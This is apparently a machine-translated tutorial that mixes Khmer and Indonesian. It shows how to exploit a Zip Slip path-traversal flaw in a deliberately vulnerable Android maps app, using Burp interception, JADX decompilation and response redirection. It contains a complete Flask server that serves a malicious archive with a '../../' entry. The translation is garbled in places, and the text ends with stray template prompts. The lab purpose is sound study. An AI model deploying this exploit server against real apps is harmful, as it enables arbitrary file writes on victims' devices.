Zip Slip គឺជាភាពងាយរងគ្រោះធ្ងន់ធ្ងរដែលរីករាលដាលនៅក្នុងដំណើរការទាញយកឯកសារដែលអនុញ្ញាតឱ្យអ្នកវាយប្រហារសរសេរឯកសារណាមួយទៅក្នុងប្រព័ន្ធ។ ជាធម្មតា លទ្ធផលនេះនៅក្នុង RCE (ការប្រតិបត្តិលេខកូដពីចម្ងាយ) ។ ភាពងាយរងគ្រោះត្រូវបានរកឃើញ និងបង្ហាញដោយការទទួលខុសត្រូវដោយក្រុមសន្តិសុខ Snyk មុនពេលវាត្រូវបានបង្ហាញជាសាធារណៈនៅថ្ងៃទី 5 ខែមិថុនា ឆ្នាំ 2018។ បញ្ហានេះប៉ះពាល់ដល់គម្រោងរាប់ពាន់ រួមទាំងគម្រោងដែលគ្រប់គ្រងដោយក្រុមហ៊ុនធំៗដូចជា HP, Amazon, Apache, Pivotal និងជាច្រើនទៀត។
Zip Slip ត្រូវបានគេទាញយកតាមរយៈបណ្ណសារដែលបង្កើតឡើងយ៉ាងពិសេសជាមួយនឹងឈ្មោះឯកសារដែលរួមបញ្ចូលការឆ្លងកាត់ថត (eg, ../../evil.sh)
។ ភាពងាយរងគ្រោះនេះអាចកើតឡើងក្នុងទម្រង់បណ្ណសារជាច្រើនដូចជា tar, ghz, jar, war, cpio, apk, rar និង 7z ។
ស្នូលនៃភាពងាយរងគ្រោះនេះគឺការឆ្លងកាត់ថត ដែលអ្នកវាយប្រហារអាចចូលទៅកាន់ផ្នែកនៃឯកសារប្រព័ន្ធនៅខាងក្រៅថតគោលដៅ។ បន្ទាប់មក អ្នកវាយប្រហារអាចបដិសេធឯកសារដែលអាចប្រតិបត្តិបាន ហើយដំណើរការវាពីចម្ងាយ ឬរង់ចាំឱ្យប្រព័ន្ធ ឬអ្នកប្រើប្រាស់ហៅឯកសារ ដូច្នេះពួកគេអាចដំណើរការពាក្យបញ្ជានៅលើម៉ាស៊ីនរបស់ជនរងគ្រោះ។ លើសពីនេះ ភាពងាយរងគ្រោះនេះក៏អាចបណ្តាលឱ្យខូចខាតដោយការសរសេរជាន់លើឯកសារកំណត់រចនាសម្ព័ន្ធ ឬធនធានរសើបផ្សេងទៀត ហើយអាចទាញយកបានទាំងនៅលើម៉ាស៊ីនរបស់អ្នកប្រើប្រាស់ និងនៅលើម៉ាស៊ីនមេ។
Kali ini untuk mempelajari cara exploit ZIP Slip Vulnerability nya memakai aplikasi android yang sengaja rentan dibuat untuk praktikum ini.
Ini adalah aplikasi seperti Google Maps tetapi untuk menambahkan ផែនទីក្នុងស្រុក kita harus mendownload ធនធាន nya dengan cara ចុចប៊ូតុង + di layar.
Tetapi sebelum kita analysis Flow dari cara kerja apk ini kita harus memakai apk Burpsuite. Untuk yang belum tau apk Burpsuite adalah aplikasi yang digunakan untuk menguji keamanan aplikasi web dan mobile. Alat ini berfungsi untuk mendeteksi kerentanan, menganalisis, dan mengatasi masalah keamanan ។
Anda bisa mendownload Tools nya dengan ចុច Link berada dibawah ini:
https://portswigger.net/burp/communitydownload
Berikut adalah hasil ស្ទាក់ចាប់ ketika kita mau menambahkan maps nya, dan bisa di analysis kalau apk ini rentan karena permintaan API nya masih memakai protocol HTTP tidak menggunakan HTTPS yang dimana memungkinkan អ្នកវាយប្រហារ tidak hanya bisa melihat traffic yang di kimakai, untuk mendukung HTTPS memodifikasi ស្នើសុំនិងការឆ្លើយតបជា Cleartext ។
Dan fakta nya bahwa ketika masih memakai HTTP dapat membuka seluruh តំបន់ permukaan serangan, Contohnya jenis serangan yang sedang kita buat ini.
Bisa dilihat juga menggunakan Tools JADX untuk melakukan វិស្វកម្មបញ្ច្រាស yang dimana kita bisa melakukan static analysis pada sebuah aplikasi memungkinkan penyerang untuk memahami struktur dan logika aplikasi.
Setelah di analysis di file network_security_config.xml
aplikasi membuat konfigurasi cleartextTrafficPermitted="true"
. Sehingga konfigurasi ini mengizinkan clear text traffic di setiap permintaan untuk domain yang diizinkan. Tetapi apakah domain ini benar-benar digunakan untuk CleartextTraffic tersebut. Bisa saja ini dibuat hanya untuk pengujian / tidak digunakan dalam production.
ini adalah Hasil ស្ទាក់ចាប់ ketika kita mendownload ផែនទី nya yang dimana dia mengambil file ZIP dengan format .ghz
Dan mencoba mendownload file .ghz secara manual dengan copas di កុំព្យូទ័រយួរដៃ. Berikut adalah isi file ZIP tersebut.
Untuk mengetahui lokasi data yang di unzip oleh aplikasi kita bisa gunakan command find / | grep australia oceania_nauru.map
di adb shell mobile emulator nya dan pastikan juga kalau kita sudah memiliki akses root di emulatornya.
Bisa dilihat kalau path file yang di unzip ada di :
/data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/
Ini juga menunjukkan kepada kita bahwa aplikasi benar-benar meng-unzip file map nya.
Mari kita lihat lebih dekat pada arbitary file write Vulnerability dalam aplikasi nya, Seperti yang sudah kita ketahui issue nya terkait dengan File ZIP Maps Handling. Lakukan lagi ការវិភាគឋិតិវន្ត dengan mencari keyword: ZipEntry
agar mengetahui class kode nya meng-handle file ZIP mapnya.
Sebelum kita analysis lebih dalam code nya, saya akan mengikuti panduan dari snyk team untuk mencari kode yang sering diimplementasi tetapi rentan. Berikut adalah salah satu panduan yang khusus untuk bahasa java, Bisa baca lebih lanjut: https://github.com/snyk/zip-slip-vulnerability
Penjelasan៖
Kode berikut rentan terhadap serangan zip slip karena tidak melakukan validasi yang memadai terhadap jalur file dalam arsip zip sebelum mengekstraknya. Di sini, e.getName()
dapat mengembalikan nama file dengan jalur relatif yang berbahaya, seperti ../../malicious.sh
. Ini bearti file tersebut bisa diekstrak di luar destinationDir
yang ditentukan.
InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f));
Setelah file dibuat, konten file langsung disalin tanpa memeriksa jalur keluaran apakah sudah aman atau tidak ។ Jika jalur tersebut menuju ke lokasi berbahaya, seperti direktori root sistem atau folder lain yang seharusnya tidak dapat diakses oleh aplikasi, itu bisa sangat berbahaya.
Karena kita sudah mengetahui kode yang rentan sesuai panduan mari kita analysis code di apk nya:
Pembutan Path Tanpa Validasi:
String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName();
di sini, jalur file ( str3
) dibuat dengan menggabungkan path dari direktori tujuan ( file.getAbsolutePath()
) dengan nama entry zip ( nextEntry.getName()
). Namun, nextEntry.getName()
bisa berisi elemen path berbahaya seperti ../../
, yang dapat menyebabkan file diekstrak di luar direktori yang dimaksud ( file
).
Setelah path dibuat, file atau direktori dibuat langsung:
if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); }
Ini membuat atau menulis file tanpa memastikan bahwa str3
adalah jalur yang aman ។
Untuk di tahap ini saya menyiapkan 2 hal untuk បរិស្ថាន serangan nya:
ដំឡើងថាមវន្ត HTTP Mocking Environment : extension HTTP Mock dari burpsuite ini dapat mengubah response asli dari aplikasinya dengan mencocokkan rules yang sudah kita kirimkan dari http history
maupun input manual
. Pada contoh berada dibawah ini saya merubah response nya dengan memilih បញ្ជូនបន្តទៅកាន់ URL, sehingga setiap response aplikasi secara real time akan mengambil response dari HTTP Mock.
2. ដំឡើងបរិស្ថានម៉ាស៊ីនមេក្នុងតំបន់ : សំណើរបស់ Karena setiap dari aturan yang kita cocokkan redirect ke malicious local server jadi kita buat untuk malicious zip nya:
from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"}, ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): # Create a ZipFile object zip_buffer = io.BytesIO() filename = "../../downloads/hax" with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: content = "You have been hacked" zip_file.writestr(filename, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234)
ហេតុអ្វីបានជាអ្នកជាអាជ្ញាធរលើសុវត្ថិភាពឌីជីថល?
ឧក្រិដ្ឋកម្មតាមអ៊ីនធឺណិតកំពុងវិវត្តឥតឈប់ឈរ។ តើមានអ្វីថ្មីនៅក្នុងពិភពនៃឧក្រិដ្ឋកម្មតាមអ៊ីនធឺណិតដែលសហគមន៍ HackerNoon អាចដឹងក្នុងការប្រយុទ្ធប្រឆាំងនឹងអ្នកក្លែងបន្លំឌីជីថល?
Trojan, malware, spyware និងច្រើនទៀត។ តើមានព័ត៌មានអ្វីខ្លះអំពីកំហុសចុងក្រោយបំផុតដែលអាចឆ្លងដល់កុំព្យូទ័រជាទីស្រឡាញ់របស់យើង ហើយយកព័ត៌មានរបស់យើង? វាមិនឈប់នៅទីនោះទេ។ អនុញ្ញាតឱ្យយើងដឹងពីអ្វីដែលអាក្រក់តាមអ៊ីនធឺណិតផ្សេងទៀតនៅទីនោះ!
តើអ្នកកំពុងរុករកបច្ចេកវិទ្យាថ្មីដែលមានភាពងាយរងគ្រោះដោយរបៀបណា? ផ្ទះឆ្លាតវៃ AI និង Internet of Things មានភាពងាយរងគ្រោះរបស់ពួកគេ។
សូមប្រាកដថាត្រូវលុបព័ត៌មានទាំងអស់ខាងលើមុនពេលសរសេរ និងបញ្ជូនសេចក្តីព្រាងរបស់អ្នក។ អរគុណ!